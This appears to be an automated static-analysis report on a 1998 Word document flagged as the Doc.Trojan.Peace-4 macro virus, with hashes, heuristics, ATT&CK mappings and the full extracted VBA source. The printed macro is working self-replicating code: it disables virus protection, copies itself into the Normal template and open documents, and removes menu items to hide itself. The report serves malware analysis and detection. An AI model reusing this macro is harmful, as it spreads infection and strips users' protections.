Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9f18c4bbd223a76…

MALICIOUS

Office (OLE)

41.0 KB Created: 1998-05-21 16:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cdff9985811fc16776309b070d7e386f SHA-1: ad39016e6ae57cef6123f832fae1de54e6a7edbf SHA-256: b9f18c4bbd223a7656f5edeb707222cf6718df77b7d90ef47e6d757aaa6f6126
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a VBA macro named 'peace' with an AutoOpen subroutine. This macro attempts to copy itself to the Normal template and the active document, suggesting an intent to establish persistence. The macro also manipulates application settings and command bars, which could be used to hide its presence or prevent analysis. The ClamAV detection 'Doc.Trojan.Peace-4' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Peace-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Peace-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2106 bytes
SHA-256: b9b31091f06cfe9ff4ac999bea92b5785fb8d4cacc4b7fc148ac3798b97a8cd5
Detection
ClamAV: Doc.Trojan.Peace-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "peace"


Sub AutoOpen()
Attribute AutoOpen.VB_Description = "         free     "
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "East.peace.AutoOpen"
  On Error Resume Next
  
  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone
  ToolsOptionsGeneral.SendMailAttach = 1
   
  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False

  Set GlobalDoc = NormalTemplate
  Set ActiveDoc = ActiveDocument

  GlobalInstalled = No
  DocumentInstalled = No

  For j = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(j).Name = "peace" Then
      GlobalInstalled = Yes
    End If
  Next
 
 If GlobalInstalled = No Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="peace", Object:=wdOrganizerObjectProjectItems
    Options.SaveNormalPrompt = False
  End If


  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "peace" Then
      DocumentInstalled = Yes
    End If
  Next

  
  If DocumentInstalled = No Then
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="peace", Object:=wdOrganizerObjectProjectItems
      ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
  End If
  CommandBars("tools").Controls("Macro").Delete
  CommandBars("tools").Controls("Templates and add-ins...").Delete
  Application.DisplayAlerts = wdAlertsAll

peace:
End Sub

Sub helpabout()
Attribute helpabout.VB_Description = "     "
Attribute helpabout.VB_ProcData.VB_Invoke_Func = "East.peace.helpabout"
If (Day(Now)) = 1 Then
MsgBox "Copy me I want to travel", vbInformation, "Peace"





End If
End Sub

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